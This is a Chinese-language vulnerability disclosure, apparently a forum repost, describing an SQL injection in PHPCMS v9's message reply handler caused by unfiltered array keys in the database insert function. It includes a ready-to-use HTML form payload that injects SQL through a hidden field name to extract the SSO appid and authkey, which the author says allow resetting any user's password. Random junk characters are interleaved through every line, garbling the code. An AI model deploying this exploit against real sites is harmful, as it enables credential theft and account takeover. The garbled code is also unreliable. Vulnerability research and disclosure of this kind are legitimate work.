|
|
简要描述:4 f" J2 V( _$ m* z j
5 c1 D# ~1 o" Z8 r
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
+ L0 l6 D, {: M! _' u
8 T4 C& X. x u5 F明天再更新下一个漏洞。
- i* y2 U& [3 d/ y+ ?8 C0 s详细说明:
; k* N" Z/ b1 v+ ]' h, x在/phpcms9/phpcms/modules/message/index.php中有代码如下:
. x! `( U; {- v9 i/ j4 L+ U
8 F: _; [5 R1 o( }$messageid = $this->message_db->insert($_POST['info'],true);& y# E6 b- T( Y% z9 l
. [; Q {0 `# n6 |0 y3 q/ F/ T. w$ d: R- i |3 O$ r
insert方法是key value的,代码如下:
- e4 z3 \ @1 @- F
0 d% y0 O2 |6 A, |public function insert($data, $table, $return_insert_id = false, $replace = false) {3 n J$ ]* s( R: I. h1 n+ I
if(!is_array( $data ) || $table == '' || count($data) == 0) {# E" D# `* x1 l* I) {( l
return false;9 M: \& |8 \! z; l4 x
}
% s r& c- p: R) y, @- t
3 S* z7 A) ?8 Y1 s" y4 X- ]% p" U $fielddata = array_keys($data);# X' h: C, P9 {, L" H
$valuedata = array_values($data);/ M6 A l: j# N1 ?6 T% H7 V
array_walk($fielddata, array($this, 'add_special_char'));& O! ]/ c% _0 W/ n& l/ E: M
array_walk($valuedata, array($this, 'escape_string'));
% `: `* |0 L5 k. }4 z% A8 E# z: | 4 u V* y# } M, ?
$field = implode (',', $fielddata);
( M4 s' m9 O9 w6 j' p5 m. A $value = implode (',', $valuedata);
1 n9 U! x. [3 O5 j% n5 g' o$ }% ?/ |7 e! `! ^; d
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';+ T. Y" `9 O0 ?0 z4 `9 V$ I
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';1 @$ w, a$ j. r7 Z2 D3 Q: g
$return = $this->execute($sql);! L. d& h1 W0 Z- Z
return $return_insert_id ? $this->insert_id() : $return;
3 j3 L- y: X! n/ B& ~ }6 G& i" y: y1 _: ]- E
- ~- f; z" s: @: `$ r$ p3 V
8 F5 l6 S+ R4 z# T- c+ d [嗯,很遗憾的是
1 l( O# Q4 n; m1 e- p i' o
0 W; D" z, X. h! @0 z' i& [array_walk($fielddata, array($this, 'add_special_char'));
% D( }7 z5 `1 b/ D' B% D% l. \0 t& [' d
7 |2 ^. S l$ o! M& M7 {0 h6 U' w2 z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。 g$ c5 n4 U0 Y! c" b: R y6 \9 \
7 H" `* }! i8 q* _* N/ {到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。$ k8 H* ?' a/ k$ r
2 {8 \- |0 P0 z漏洞证明:
+ a% a; d/ _3 A, Z# z+ H读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
~& ], r; E. ^; X' [2 ~0 o& a" ?7 Q4 s) [/ F
0 k: m0 h2 }" F* I' [8 v' Y表单如下:用户名什么的得自己改一改。1 h4 Z; x! Q! X) Z3 g
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 `$ G9 Z# e( g+ y3 E
<table width="100%" cellspacing="0" class="table_form"> o! E/ \/ z) l6 d9 @3 w4 I0 b
<tr>" j8 U) e2 X# P: @
<th>标 题:</th>
) b, a+ w8 L' L; Z2 c9 c8 l3 M<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
2 b% ^6 A$ z# {1 X' N, I9 U7 u& a</tr>
6 J& ]8 }- p7 `9 F% V* O<tr>
' y# S5 ^, ` O- P/ |3 b, \6 I- W<th>内 容:</th>
7 m0 c) B: z% b) u. v4 X! o. U<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>" L, w% u9 I- L5 F4 B& c. ~* [ i
</tr>
3 `$ W6 }1 t+ n+ @: T M<input type="hidden" name="info[replyid]" value="2" />
$ C3 e/ s" R& [0 U<input type="hidden" name="info[send_to_id]" value="cc" />
6 {/ S' ^0 g. y0 w( h<input type="hidden" name="info[send_from_id]" value="hh">& D7 }& ~. n! l2 j
<!-- 漏洞的利用重点在这里开始 -->) V# H. m- D# C/ v0 s! p# y* o' T
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
, j. x( T; n7 {; D0 \<!-- 漏洞的利用重点在这里结束 -->$ T2 S2 n: q& }1 q' z
<tr>; \$ G1 {0 h4 c+ d" M
<th>验证码:</th>
7 z6 t( m+ {) L' |<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
! G/ H6 N- J( i! Z</tr>+ c" i& B% F" L: T) N% d- t' `
<tr>: P( ~& ^( M! ?4 K' e v
<td></td># F1 e8 [2 Y3 T6 G2 n( Z$ c
<td colspan="2"><label>: _( q+ v' P" q5 |4 h; T5 |
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
2 H/ A# g+ v5 @+ X% R- g6 J</label></td>
" x4 p" P- W) r</tr>
6 c, H! i9 [, t2 d' K</table>
. ]. i9 A: B% C) Y# j</form>
& A2 }7 ^: s. q3 C- O! Y在add_special_char函数内对key做过滤就可以了。
' U& E/ H5 P" d, ]4 ]' d% H. A5 g3 F% `4 j2 n1 k! w- L* @! q; q
% Q/ O0 W8 v6 g2 j4 A: M7 N V* F
( W* w3 A4 v* @
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|